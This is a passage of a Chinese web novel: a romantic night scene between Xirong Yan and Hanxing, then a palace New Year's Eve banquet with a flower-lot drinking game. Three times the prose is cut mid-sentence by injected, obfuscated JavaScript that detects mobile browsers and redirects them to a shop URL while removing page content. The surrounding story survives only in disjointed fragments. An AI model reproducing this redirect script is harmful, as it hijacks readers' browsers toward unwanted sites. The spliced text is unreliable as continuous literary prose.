此时已是亥时三刻,席容烟临窗而坐,身上是一袭雨过天晴的竹青色对襟小袄,下系着云锦面儿银鼠里子皮裙,外面松松披了一件月白羽纱面雪狐里子的鹤氅,她袖中笼着银丝镂空火炉儿,研墨写道,“冬尽雪犹残,灯下阑珊,化芳菲虬枝梢头隐现。陌上胭脂又成桑,星汉潺湲,簟暖余清蟾,广陵流转,燕尾分红柳绿出秋千。山南山北一般重,独好哪边?” 桃夭又唤了声,“姑娘——” “我这会子不困,你先去睡吧。” 桃夭知道她的脾气,劝是劝不住的,只好打着哈欠,自去睡了。 席容烟念了一遍,犹嫌不足,提笔又续道,“孤鸿去,广陵沉。执戟青骓,倚剑千仞。莫寻天上客,但问此间身。” 一个熟悉的声音在她耳后响起,“都好,只是末一句怎么解?” 她蓦然回首,说的却是,“怎么才来。” 寒星抱住她,歉然道,“有些事耽搁了,我的错。” 他低头,在她额间印下一吻,“你在等我?” “嗯。”她把头靠在他的胸膛上,“明日,我们便要启程了,我知道你今晚一定会来。” 寒星笑了笑,他伸手拿起那张素笺,赞道,“阿烟好大的志向,这是要当将军不成?” 席容烟从他手中一把夺回,“谁要当将军,不过是等你等得不耐烦,随手写着玩玩罢了,有你在,我只管做运筹帷幄的军师,才不趟战场上的那滩浑水。” “运筹帷幄?”寒星重复了一遍,突然笑了起来,“哈哈哈,有道理,只是依我之见,还未尽善。”说着,他提笔蘸墨,接着写道,“流水易逝岁岁人似,江月茫茫雨浥轻尘。” 席容烟默了片刻,微微垂眸,“你这是强挽哀音。” “谁说的?我这是言为心声。” 寒星从后拥着她,他的呼吸扑在她的耳畔,酥酥的,痒痒的,他轻轻咬了一下她的耳垂,低低地说,“夜深了,军师大人是不是该指点指点我了?” 席容烟不明就里,歪头问他,“指点什么?” 寒星扬扬唇角,忽然一把抱起她,别有深意地笑道,“运筹帷幄呀。” 她愣了愣,随即反应过来,桃腮立时羞得通红,“好啊,人家拿你当正经人,你反说出这些下流话来,真真是该打。” “正经人?”他乜着眼睛冲她笑,“哈哈哈,我几时成正经人了?” 席容烟撇撇嘴,“我不管,反正你得教我武功。” “习武很辛苦的,难道你还真想做将军不成?” “这个嘛,我其实还没有想好,但我既然是镇西大将军陈玄赫的女儿,我总得会几样吧,便是防身也是好的,不然传出去了岂不是让人笑话。” 寒星动作轻柔地将她放在床上,“你又不是男人,何必难为自己呢?” 席容烟不服,探身道,“男人怎样,女人又怎样,女人便不能上战场杀敌了吗?” “当然可以,不过阿烟你要明白,女人的战场和男人的战场是不一样的。”他俯下身,撩起一绺落在她眉眼间的碎发,捻在指尖把玩,“这里,便是你的战场。” 她轻哼一声,伸臂勾住他的脖颈,“这样说,你便是我的敌人了?” 他摇头,轻轻吻了一下她的唇,极认真地说,“不,阿烟,我是你的手下败将。” 她闻言,抬眸望着他,笑了笑,“你今日似乎有些不一样。” 寒星在来之前特意沐浴更衣,仔细收拾了一番,生怕叫她发现自己身上的血腥味。 此刻,听她这样说,寒星心头不觉一紧,“有何不一样?” 他今日穿了一袭竹月色罗缎长袍,捻金绣着淡墨色的滚边儿,一头乌发高束成髻,仿佛一幅在夜空中一泼而就的山水画,在烛火的映衬下灼灼其华。 她仰起脸,深情地注视着他的眉眼,他的眉如山,那山一般的冷峻中藏着刻骨柔情,他的眼似海,那海一般的浩瀚中闪着熠熠星辉,她暗暗道,这世上,怎么会有这么好看的男子。 席容烟伸手摩挲着他棱角分明的脸庞,一字一顿地说,“寒星,我想要你。” 寒星一怔,继而笑了起来,“好呀,却之不恭。” …… 雾气弥漫,春水氤氲,仿佛一个她做了好久好久的梦。 她浮在水面上,却又沉溺在池底。 她抱着他,就像溺水的人紧紧抓住手中的救命稻草。 他拥着她,同她一起向更深处坠落,却又于浪涛翻涌间,将她一次次送上云端。 “寒星——” “我在——” 她湿漉漉的发丝绽放在白皙腻滑的肌肤上,有如雪白的宣纸浸染了几笔淡淡的墨痕。 他以唇作笔,挥洒出一大片胭脂色的缱绻缠绵,在她的身上留下属于他的痕迹。 很痛,却又很快乐,这是一种很奇妙的感觉。 “阿星……我……我……” 他动作轻柔地吻遍她全身每一个角落。 “阿烟,你知道吗,每次只有和你在一起的时候,我才能感觉到自己是活着的。” 她喘息着,在他为她编织的幻梦中短暂失去了意识。 “嗯……你说什么……” 他一遍遍吻着她,灼热的气息在她的唇瓣上激起了一次又一次的颤动。 “我说,阿烟,我好爱你。” 她微微仰起身子,回应着他,“我也是——” 她抬手挑落他的腰带,温润如玉的指尖在他赤裸的胸膛上轻轻滑过,犹如春风拂化严冬冰雪,荡开一道道潋滟的波纹。 他嘴角上扬,她还是第一次这样主动。 他爱不释手地在她修长白腻的脖颈上来回摩挲,哑着嗓子呢喃道,“阿烟,你真是人间尤物。” 她闻言,脸色一沉,偏头避开了他的亲吻。 他屈指戳了戳她绯红的面颊,用牙咬住落在她锁骨间的一缕湿发,含在嘴里,眉眼含笑地问,“怎么了,我说错了吗?” 她眼中闪过一丝狡黠的光芒,忽而仰头吻他,两个人的鼻尖碰在一起,微微泛红。 意乱情迷,不过如此。 他拼命地抵住她,却又怕把她弄疼,溢出来的力道顺着手掌在她腕间印下一圈红痕。 他捏着她细若无骨的皓腕,不住喘息,几乎要哼出声来。 她趁他失神的工夫,双手覆上他的后颈,他顺势托起她蒙着薄汗的背,手上用了点力,试图将这轮皎月融化在身下。 没承想,她借着他的力道翻了个身,反将他压在下面。 他微微愕然,只得仰头吻她,她却抬指挡在二人的唇间,“你说错了,你才是那个尤物。” “哦?”他挑眉,嘴角挂了一抹玩味的笑,似是自言自语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502823|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我才是那个尤物?” “嗯哼。”她垂眸仔细打量着他,“我从前怎么没发现,你比我长得还好看?” 他失声笑了起来,别有深意地说,“现在发现也不晚。” 她的呼吸落在他的鬓发间,鼻尖贴着他有如刀削般的面颊上下游走,像是一头小兽发现了好吃的东西,在认真挑选下口的位置。 他停下动作,好整以暇地看着她,任由她在自己身上胡作非为。 她好轻啊,压在自己的身上,几乎没有任何重量。 她的三千青丝顺着酥肩滑落,正好垂在他的胸膛上,勾起了一阵阵难耐的痒意。 他抿着唇,快要忍受不住了。 偏偏她好像一点知觉都没有,探手摸着他的背,埋头在他的颈窝轻轻舔舐。 痒。 好痒。 他沙哑地唤了声,“阿烟——” 她动作一滞,抬眸看他,软糯红肿的唇瓣微微张开,“怎么了。” 他瞧着她这副模样,脑子里忽然蹦出来一句诗,“愿君多采撷,此物最相思”。[1] 他抬指揉搓她的唇瓣,动作有些抑制不住的粗野,她吃痛,试图歪头避开,却被他一把拽了回来。他的指尖顺着她唇齿间露出的缝隙,探进她的口中,深得她不住呻吟起来。 他的喉结轻轻滑动了一下,哑声道,“阿烟,你知道吗,你在玩火,玩火,是会自焚的。” 她这时候才发现,他平日没有温度的身体突然间变得好烫,像是一团火,烧得她一阵阵战栗。 她慌了神,手足无措地看着他,像是一个孩子看着自己闯下的祸事,不知道该如何收场。 他促狭一笑,“玩够了吗?” 她茫然地点点头。 他眼中笑意更深,“那么,该我了。” 他用手捏住她的腰肢,将她整个人带了起来。 “啊——”她的身子立时悬在半空之中,不觉惊呼,“你要做什么,放我下来!” 他伸指刮了刮她的鼻尖,宠溺地说,“别急,我们玩个有意思的。” 他托着她的背,一次次抵住她,又一次次放开她。 每一次,她都不受控制地战栗起来,她要疯了。 她双目微阖,无意识地唤着,“寒星——” “阿烟。”他抬指抹去她眼角晶莹的泪珠,低声应道,“我在。” 她张口咬住他的指尖,不让他再动,喘息着说,“我没力气了,放我下来吧。” “好。”他伸臂将她揽入自己怀中,揉着她的发,嘲弄道,“阿烟,告诉我,谁是尤物?” 她洁白如玉的肌肤上泛起一阵阵潮红,顺着玲珑有致的弧度一路荡漾到面颊,烛火轻曳,他清楚地看见,就连她的眼角也含着一点湿润的红。 她垂下眼眸,别过脸,不吭声。 他笑了笑,忽然松开手,她便从他的指尖滑到了被褥上。 她太累了,连说话的力气都没有。 他慢条斯理地抚弄她濡湿的发,带着胡茬的下巴轻轻蹭过她的肌肤。 这一次,痒的人是她。 她紧抿唇瓣,努力不让自己哼出声来。 他瞧着她的样子,竟觉得有几分好笑,他用舌尖轻轻撬开她的唇齿,与她交颈缠绵。 …… 天上的月亮掉进了池底,慵懒的风漫不经心地掠过水面,荡起了一圈圈涟漪。 二人相拥而眠,一夜好梦。 116. 新年胜旧年 翌日清早。 席容烟睁开眼时,寒星已经走了。 微凉的风从窗子透进来,她稍稍清醒了一些。 她披衣起身,在窗前立了半晌。 昨夜发生的一切,像一场梦,她不知道究竟是真是假。 桃夭推门进来,“姑娘醒了?” “嗯。”她张了张嘴,有些迟疑地问,“昨晚,有人来过吗?” “昨晚?”桃夭皱眉回忆着,“没啊,姑娘不是一直自己坐在这儿写东西了吗。”说着,她拿起案上的那张素笺,“呐,这不是?” 只见上面写着,“冬尽雪犹残,灯下阑珊,化芳菲虬枝梢头隐现。陌上胭脂又成桑,星汉潺湲,簟暖余清蟾,广陵流转,燕尾分红柳绿出秋千。山南山北一般重,独好哪边?” 底下还有一行,“孤鸿去,广陵沉。执戟青骓,倚剑千仞。莫寻天上客,但问此间身。流水易逝岁岁人似,江月茫茫雨浥轻尘。” 桃夭跟着席容烟识了些字,却并不明白这些字的意思,她思忖一番,终是不解其意,刚准备把素笺放下,忽然发现素笺背面似乎有字迹影影绰绰地透了过来。 她把素笺翻了个个,“欸,这后面写的是什么?” “又胡说了,我何曾在后面写过东西。” “我可没胡说。”桃夭随口念道,“一川烟雨慰平生,星留。姑娘,这是什么意思啊?” 席容烟一怔,连忙抢过素笺,放在掌心细看,她默默读着,感觉自己的脸好像又烫了起来。 原来,昨夜发生的一切不是梦。 他真的来过。 席容烟心虚地笑了笑,“没什么,这句话我没写完,桃夭,我饿了,你去给我拿点吃的。” “哦。”桃夭应声去了,不多时捧了些清粥小菜回来。 “姑娘你起得太晚了,就剩这些了,你先垫一垫,我再吩咐厨房做去。” “不必了,这就挺好的,清清淡淡的,吃进肚子里也不难受。” 席容烟舀了勺粥,“对了,平乐怎么样了,能下地走路了吗?” “嗯,说是好些了,肃安王让姑娘准备一下,咱们今天下午就动身。” “也好。” 桃夭掰着指头,算着日子,“要是快的话,我们年前便能赶到京城,这样就能在皇宫里过除夕了!说起来,我还从来没在宫里过过年呢。” 席容烟握着勺子的手一滞,“快过年了?” 桃夭点头,“是啊,又是一年,新的一年!” 席容烟突然有些怅然,她和寒星从来没在一块儿过过年。 从前,她是席容家的三小姐,他是宰相府的暗卫,二人身份有别,自然不能碰面。 席容炎谋反不成,一朝身死,寒星摇身一变,成为了西域可汗,而她,则做了他的阏氏。 她原本以为,这个年,他们会在一起过的。 可惜,还是不能如愿。 元日将近,宫中一片喜气洋洋。 魏晗烨因为席容烟要来,反复叮嘱秦川好生筹备除夕宴的相关事宜。 这可愁坏了秦川,他再能干,也不过是一个太监,怎敢操持这么重要的事情。 于是,秦川第一时间求见魏太后,魏太后因为不想劳心劳神,便以身体不适为由推脱了。 秦川无法,又去康泰宫找了贤太妃、淑太妃等人,结果她们怕抢了魏太后的风头,也都不敢应承。 秦川碰了一鼻子灰,只得找袁青诉苦,“袁将军,你说这除夕宴可怎么办呀?皇上千叮咛,万嘱咐,让我好生筹备,结果都到现在了,我连个操持的人还没有找到,真是急死我了!” 袁青思忖道,“中宫之位空悬,皇上又没纳任何妃妾,宫中也就只有太后娘娘最有资格操持此事了,太后娘娘若是不愿意管,太妃们自然也不敢出这个风头,这件事的确不好办。” “是啊。”秦川愁眉苦脸,“袁将军跟着皇上,一向熟知皇上心性,求将军帮忙想想办法吧,我要是连这份差事都办不好,我这太监总管也不用做了,赶紧收拾包袱准备滚蛋吧。” “我倒是有一个人选,只是不知道他肯不肯帮你。” “将军请说。” 袁青缓声道,“哲远王。” “哲远王?” “嗯,哲远王自小在宫里长大,他的生母是后宫中地位仅次于太后娘娘的贤太妃,他的同胞兄长又是素有威名的肃安王,让他筹办此事,再合适不过了。” 秦川皱眉道,“哲远王身份高贵,自不必说,可是他那个寡淡性子,最是不喜俗务的,他能愿意帮忙吗?况且他毕竟是个男子,不如女子心细,万一宴会上出了岔子可如何是好?” “他与苏方之女婚期在即,你可以请皇上下旨,让苏姑娘进宫帮忙筹划,我听说苏姑娘是出了名的胆大,自然不会为着什么闺阁之礼便自缚手脚。何况,苏姑娘还没嫁给哲远王,终究不算是宫里的人,纵然有什么地方出了错漏,想必皇上也不会苛责的,便是太后娘娘也得给苏大人几分面子。等苏姑娘一来,哲远王总不好袖手旁观,你的差事不就有着落了吗。” 秦川一拍脑袋,喜道,“多谢袁将军指点!感激不尽,感激不尽!” 袁青摆摆手,“哈哈哈,没事没事,你快去办吧,我只要到时候有肉吃,有酒喝就好。” 秦川满口应承,“没问题,包在我身上。” 御花园,除夕宴。 流觞曲水,众人依势而坐。 各色菜肴酒水皆用托盘盛着,置于曲水之上。 因为园中引入了行宫的温泉水,即便是在冬日里,放在曲水上的菜肴也不会变凉。 曲水两侧,三三两两摆着蒲团,蒲团上面铺了一层厚厚的锦帛软垫,底下则藏有暗格,暗格中燃着红萝炭和雪中春信,人坐在上面,只觉得又香甜又暖和。 众人赞不绝口,“好巧的心思呀,外有梅花朵朵,内有暖香扑鼻,中有曲水流觞,便连这拂过席面的阵阵轻风,也都散发着宜人的芳香,真是酒不醉人,人自醉呀。” 魏晗烨身穿一袭明黄缎织金缂丝团龙纹吉袍,头束朝冠,腰系玉带,打扮得甚是隆重,清朗沉静的脸庞上不经意间透露出几分天子威仪,他看向魏太后,笑道,“母后以为如何?” 魏太后扫视了一圈园中景象,颔首道,“很是不错,哀家今年偷了个懒儿,如今看来,幸亏哀家没掺和除夕宴的事儿,不然,哪能看到今日这般风景?” 魏晗烨笑道,“今年的除夕宴是朕让晗远帮忙筹划布置的,的确是别出心裁,与众不同。” 魏晗远连忙拱手道,“臣弟不敢贪功,事儿虽然是臣弟办的,主意却是苏姑娘想的。” “哦?”魏晗烨闻言,抚掌而笑,“好呀,你和苏姑娘还真是天造地设的一对,看来朕这个月老没当错。” 苏蕙菁有些不好意思了,“陛下谬赞了,臣女这都是小门小户的雕虫小技,微末功夫,登不得大雅之堂的,陛下一时瞧着新鲜,不笑话臣女见识浅薄就好了。” “小门小户有何不好,今日除夕夜宴,是国宴,更是家宴,在座的可不都是一家人吗,本该如此,苏姑娘,你不必谦虚,你办得甚好,朕要赏你,秦川。” “奴才在。” “你把朕寝殿里摆着的那对青白玉鸳鸯取来,送给苏姑娘吧。” “是。” “臣女谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏太后认得这个所谓的陈姑娘,当年,魏太后在赏花宴上第一眼瞧见席容烟,便觉得有几分眼熟,如今想来,她应是随了她母亲林氏的长相。 魏太后默了默,魏晗烨此前将此事瞒得一丝风也不透,却偏偏在除夕宴上表明她的身份,又称其为“陈姑娘”,只怕大有深意。 “确认无误吗?” “确认无误。” 魏太后看着席容烟,眼神格外复杂幽深,“陈姑娘,哀家敬你一杯。” 说罢,她站起身,举杯致意。 席容烟连忙起身推辞,“太后娘娘万万不可。” 魏太后摇头道,“你陈家满门忠勇,却因为佞臣陷害,惨遭族灭,先帝、哀家、皇帝都对不住你们陈家,今日,哀家敬你也是应当的,陈姑娘就不要推辞了。” 魏晗烨笑道,“陈姑娘,母后既然如此说,你便喝了吧。” “陛下,太后娘娘,这酒,我不能喝。” 魏太后端着酒的手一滞,“为何?” 魏晗烨猜到了席容烟要说什么,开口阻拦,“陈姑娘——” 却是已经迟了,席容烟行了个礼,正色道,“我虽然曾经是陈家的女儿,大魏的子民,但如今,我已是西域可汗的阏氏,太后娘娘向我敬酒,于礼不合。” 魏太后诧异不已,“你已经嫁人了?” “是。” 魏太后看了眼魏晗烨,“皇帝,你知道此事吗?” 魏晗烨望着席容烟,语气格外平静,“朕知道,只是陈姑娘她未必是情愿的,她的父亲是镇西大将军,她嫁给西域可汗的时候并不知道自己的身世,如今知道了,又怎会愿意嫁给西域人为妻,陈姑娘,你说是不是?” 117. 曲水流觞令 席容烟沉默片刻,魏晗烨虽然没有明说,可他的心意,她已经了然。 暖风袭面,梅香阵阵,她看着他,回忆起了他们初见时的情景。 那日,她扮作男儿身,趁着府中守卫松懈,偷偷溜了出去,偏生撞见了他,还被他拆穿了自己女儿家的身份。 他穿着一袭白衣,形容俊逸,不染纤尘,鬓若刀裁,眉扫吴钩,席容烟至今还记得,他的那双丹凤眼生得甚是好看。 赏花宴上,二人在御花园偶遇,魏晗烨对她一见倾心,他那时还不知道她的真实身份,向她许下了“不论你是什么出身,孤都会护着你”的诺言。 即便后来,他知道了她是席容家的女儿,可一想起她的那句,“她的命,原也不是她自己选的”,他便再难对她下手。 后来,他去席容府追查杀人凶手的下落,她为了保护藏在梁上的寒星,拽了魏晗烨一把,结果一不小心,二人都栽在了床上,或许是因为迷情香的缘故,他的言行举止不似往常那般端方有度,他伸手揭开了她的面纱,二人离得那样近,几乎能清楚地听见彼此的心跳声。 上元节前夜,她梦见寒星葬身火海,她想和寒星一起赴死,却被突然出现的魏晗烨一把拉住,抱在怀里,他脉脉注视着她,语气哀怜地说,“旌儿,留下来,不要走”。 元宵佳节闹花灯,她险些被混迹其中的刺客要了性命,是他从天而降,出手相救,那夜,魏晗烨披了一件银白色鹤氅,火树银花之中,他的墨发拂动着清风,也拂动了她的心弦。他打着灯谜的幌子,笑意盈盈地邀她喝了一杯“合卺酒”。 再便是二人大婚那日,他眼睁睁看着身穿凤冠霞帔的她被另一个男人带走,之后,她便杳无音讯,再无所踪,而今重逢时,她已然是他人妇。 席容烟抿了抿唇,她知道自己对魏晗烨其实是动过心的。 或许是因为他的那双眼睛,或许是因为他说过,他会护着自己,或许是因为那晚的身体接触,又或许是因为他曾经救过自己的性命。 可是男女之事,讲究的是天时、地利、人和,缺一不可。 她确实对他有好感,但这种好感并不足以托付一生。 如果说,魏晗烨是天上的太阳,温暖而又明亮,寒星便是寂寥的夜空,清冷而又孤绝。 她爱寒星,爱他的人,爱他的心,爱他受过的种种困难与伤痛,爱他俊美皮囊下的累累疮疤,爱他在光鲜亮丽的外表下不为人知不堪入目的过往,爱他的一切一切。 是的,她爱寒星,时至今日,她其实早已忘记了当初为什么会爱上他,又究竟爱他什么,她爱到最后,只剩下一个简简单单的“爱”字,或许,这便是真正的爱。 魏晗烨望着席容烟的神色变化,知道她已经给出了答案,可他还是不死心,继续说道,“陈姑娘,朕希望你能留在大魏,重振陈家,如果陈姑娘愿意,朕可以给你另寻一门好亲事。” 魏太后扫了魏晗烨一眼,她的眸光微动,却并没有说什么。 席容烟依着西域规矩,郑重地向他施了一礼,“陛下,我很喜欢一句诗,一生一代一双人,我嫁给了西域可汗,嫁的不是他的身份,而是他这个人。即便我如今知道,我的生父是镇西大将军,我也不会因此改变我的心意,我愿与他一生一世共白头,只为我心,无关其他。”[1] 魏晗烨僵硬地扯出一抹笑来,“陈姑娘,朕从前读《晋书》,有一处不解,陶侃问王贡,‘卿本佳人,为何随之’,朕也不明白,既是佳人,何故从贼,陈姑娘以为何解?”[2] “陛下,我不通史书,不敢妄言。” “无妨,陈姑娘随意说说就好,无论你说了什么,朕都恕你无罪。” “好。”席容烟神色温和,“我以为,好与坏,善与恶,是与非,从来不可一概而论,正如庄子所言,因是因非,因非因是。杜弢或许的确是个十恶不赦之徒,但他待王贡想来是极好的,那么王贡甘心为其所驱使,也便理所当然,不足为奇了。”[3] 魏晗烨闻言,淡淡一笑,“看来姑娘的确不大读史书,姑娘可知,这后面还有一句?” “不知。” “贡初横脚马上,闻侃言,敛容下脚。侃知可动,复遣使谕之,截发为信,贡遂降于侃。弢众溃,遁走,道死。王贡如此,那么姑娘呢?”[2] 席容烟眉头微蹙,“陛下,我说过我不通史书,所以陛下此言,我不明白。” “姑娘当真不明白吗?” 席容烟想了想,开口道,“陛下,除了‘一生一代一双人’,我还很喜欢两句诗,陛下可愿一听?”[1] “当然。”魏晗烨凝视着她的眼睛,定定地说,“喜不自胜。” 席容烟缓声道,“一句是‘还君明珠双泪垂’,还有一句,‘我心匪石,不可转也’。”[4] 魏晗烨轻轻吐出一口气来,“好,姑娘的心意,朕明白了。” 席容烟低下头,“抱歉。” 魏晗烨却是笑了笑,“谈史论今,本就是各抒己见,没什么可抱歉的。” 苏蕙菁见状,眼珠一转,笑吟吟道,“陛下,雅坐终究无趣,须得行令才好。” 魏晗烨啜了口酒,“好啊,这些人里就属你点子最多,你说,行什么令?” “臣女以为,既然陛下还有在座诸位都是饱读诗书之人,咱们便行个雅令吧,如何?” 魏太后笑道,“雅令虽好,到底有些费脑子,大过年的,咱们还是换个轻松的来玩吧。” “那便依母后所言,苏姑娘,你再想一个雅俗共赏的酒令。” 苏蕙菁思忖道,“臣女在家时,倒是常和家里人玩花名签,这东西又雅致又有趣,只是,陛下还有几位王爷都是男子,怕是玩不惯这个。” 魏晗远道,“这倒无妨,只是行这玩意须得预备竹筒竹签,一时半会儿去哪儿寻呢?” 裴怡欢道,“臣妾在宫里闲来无事,偶尔也和丫鬟们占个花名儿玩玩,陛下和太后娘娘若是想行这个令,臣妾叫人去取便是。” 魏晗烨微一颔首,“听着倒是挺有趣的,就行这个吧,裴娘娘,劳烦你了。” 不一会儿,裴怡欢的丫鬟便捧了一个竹制签筒回来,里面装着各色花名竹签。 苏蕙菁道,“既有这现成的流觞曲水,我们也不必掷骰子了,只将这签筒用托盘装了,搁在水上,再命宫里的乐妓鼓琴为乐,一曲毕,只看这签筒流到谁的跟前,便让谁来掣签子。” 裴怡欢笑了笑,“难怪陛下夸苏姑娘点子多呢,这个玩法还真是闻所未闻,新奇得很。” 平乐此前因为身子不爽利,一直没怎么说话,此刻,她听苏蕙菁这样讲,也有了些兴致,笑道,“苏妹妹想出来的法子的确又新鲜又有趣。” 魏晗烨一挥手,“就这么办。” 于是,苏蕙菁将签筒放在流动的水面上,众人都盯着那签筒,连吃酒夹菜的心思都淡了。 一时,曲毕,签筒正好流到了魏太后跟前。 魏晗烨笑道,“新春第一喜,合该是由母后占了的。” 魏太后也笑了起来,“好,那哀家便掣上一掣,也不知能掣出个什么东西来。” 云英捧起签筒,恭敬道,“娘娘请。” 魏太后从中间掣出一根,只见上面画着一支兰花,旁边用墨笔题了“空谷幽兰”四字,下头镌着一句,“幽植众宁知,芬芳只暗持”。[5] 魏晗烨亲自斟了杯酒,递与魏太后,“兰花品行高洁,素为君子所爱,果然堪配母后,儿臣敬母后一杯,恭祝母后松鹤延年,福寿绵长。” 魏太后面上和蔼,接过酒,一饮而尽。 苏蕙菁忙道,“太后娘娘莫急,花签背面还镌着字呢。” 云英将签子翻了过来,果见上头题了行小字,“自饮一杯,随意命人弹奏《佩兰》。” “既如此,远儿,哀家听闻你一直醉心抚琴,便由你弹上一曲罢。” “好。” 魏晗远命人取了琴来,他手拂七弦,便听乐声细而不迫,徐而抑扬,悠悠然吹落风中。 苏蕙菁以箸击盏,和声念道,“扈江离与辟芷兮,纫秋兰以为佩,此曲真真雅乐也。”[6] 众人赞了一回,重新将签筒放回水中,当乐音将尽时,签筒在魏晗烨跟前停了下来。 魏晗烨抬手掣签,他扫了一眼竹签上头题着的字,微微一笑,随即将签子抛给秦川。 “果然是女儿家行的令,也罢。秦川,你来念吧。” “是。”秦川捧着签子,说道,“陛下掣的是牡丹花,题曰‘国色天香’。” 话未说完,众人都忍不住笑了起来,却又不敢笑出声,只得低头忍耐着。 秦川清了清嗓子,“咳咳,诗句是‘天下更无花胜此,人间偏得贵相宜’。”[7] 魏太后点了点头,“皇帝贵为九五至尊,牡丹则是群芳之冠,倒也贴切,注是什么?” “回太后娘娘,注云,‘得此签者,花中之王,在席共贺一杯,同庚同辰者陪饮一杯’。” 众人便都举杯,齐声道,“皇上万岁万岁万万岁。” 魏晗烨饮尽杯中酒,他盯着竹签上“同庚同辰”几个字,默然不语。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503533|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐声又起,这一回,签筒停在了英太嫔和裴怡欢中间的位置。 淑太妃道,“这该算谁的呢?” 裴怡欢拿起签筒,递与英太嫔,谦让道,“自然是英姐姐先了。” 英太嫔笑了笑,“这东西一应都是妹妹宫里的,哪有妹妹不掣反让我来掣的道理,况且我平日也不喜欢玩这个,还是妹妹掣一根吧。” 裴怡欢依言掣了一根竹签,只见签上描了朵荷花,旁边题着“霁月清荷”四字,诗云,“浮香绕曲岸,圆影覆华池”,竹签背面写着,“自饮一杯,自左往右,数三七二十一人,令其再掣。”[8] 英太嫔扫了眼签子上面的荷花,笑道,“这签合该由你来掣。” 裴怡欢素爱荷花,因此心中也很欢喜,她饮了酒,一面数,一面笑,“这倒是麻烦了,三七二十一人。” 众人也跟着她数,算出该是席容烟。 席容烟只得也掣了一根,签上是一支木芙蓉,旁边用朱笔镌着一句旧诗,“木末芙蓉花,山中发红萼”,席容烟念了一遍,又去看上头的题词,目光不觉一顿,呢喃道,“忘川秋水?”[9] 苏蕙菁正好坐在席容烟旁边,她见席容烟不往下念,便歪头去瞧竹签背面的注,念道,“掣此签者,不必饮酒,上下两家各饮一杯。” 坐在席容烟两侧的是平乐和苏蕙菁,平乐身子不好,不便饮酒,便让肃安王帮忙喝了。 席容烟只管拿着那签发怔,苏蕙菁饮了酒,笑道,“陈姑娘又没喝酒,怎么倒先醉了。” 席容烟这才回过神来,忙将签筒重新放回水上,自己斟了杯酒,兀自饮了。 这时候,众人没那么拘束了,彼此谈笑起来,连乐妓弹琴的声音结束了都没察觉。 还是贤太妃反应快,说道,“该平乐掣了。” 平乐摇了一摇竹筒,从中掣出一根竹签,她瞧见上头的话,不由得笑了起来。 “‘橦布红衫来换米,满头都插杜鹃花’,这句话写得倒是有些意思。”[10] 苏蕙菁凑上去看,“子规啼春,得此签者,逢春必有喜事,自饮一杯为贺,既是喜事,可命在席之人说个笑话同乐。” 众人都说,“平乐公主今朝还朝,可不是天大的喜事,我们都来敬公主一杯。” 平乐饮了酒,笑道,“真真是个好签,你们谁会说笑话,快讲一个来听听。” 今年刚满十岁的魏晗知自告奋勇,“我新近得了一个,我来讲给大家听!” 众人见他一副稚气未脱的模样,都十分欢喜,纷纷笑说,“好。” 魏晗知因说道,“艾子有个孙子,不喜读书,很是贪玩,艾子为了让他争气,经常一顿棍棒伺候,可他还是一副吊儿郎当的样子。艾子的儿子就这么一根独苗,虽然不争气,可也疼得紧,他看到艾子这么责打自己的儿子,总忍不住求情,偏生艾子根本不搭理他。有一次,艾子的孙子在外面打雪仗玩,艾子瞧见了,不由分说,剥掉了孙子的衣裳,罚他跪在雪地里。艾子的儿子不敢说什么,脱了衣裳跪在儿子旁边,艾子很吃惊,问他,‘你儿子有过错,应当受到这样的惩罚,可你为什么也跪在这里?’他儿子哭着说,‘您让我的儿子受冻,我也让您的儿子受冻。’” 说毕,众人笑起来。 肃安王伸手揉着魏晗知的脑袋,笑道,“可知你平素是个不喜欢读书的了,讲的笑话也这样刁钻赖皮。” 魏晗知吐吐舌头,往肃安王身上一歪,“大哥你又说我。” 众人瞧着他们两兄弟的模样,不由得又笑了起来。 一时,又命奏乐,这次签筒在贤太妃跟前停住了。 贤太妃笑着推辞,“本宫都一大把年纪了,就免了罢,你们玩你们的。” 魏晗远兴致勃勃地说,“谁说的,依儿臣看,母妃风华正茂。” 肃安王打趣道,“都说人逢喜事精神爽,今日看见远儿如此,方知此言不虚。” 魏晗远脸皮薄,听了这话,早把头低下,自顾自斟酒。 贤太妃看见魏晗远的样子,笑了笑,“安儿这话说得不错,平日也没看你弟弟这么高兴,也罢,本宫便掣上一掣。” 说着,贤太妃随手掣了一根。 只见竹签上面画着一支萱草花,题曰“椿萱并茂”,诗云“萱草生堂阶,游子行天涯”,背面镌了一行小字,“椿萱并茂,此签上吉,掣者自饮两杯”。[11] 贤太妃抿了两口,以作两杯之数。 这次乐声才响了两三下,便戛然而止,小丫鬟赶着来报—— “不好了,福宁宫走水了!” 118. 清婉亦扬兮 众人听说,都是一惊。 福宁宫是宫中用来礼佛祈福的所在,一向十分庄严神圣,却在除夕夜发生了这样的事儿,着实不是什么好兆头。 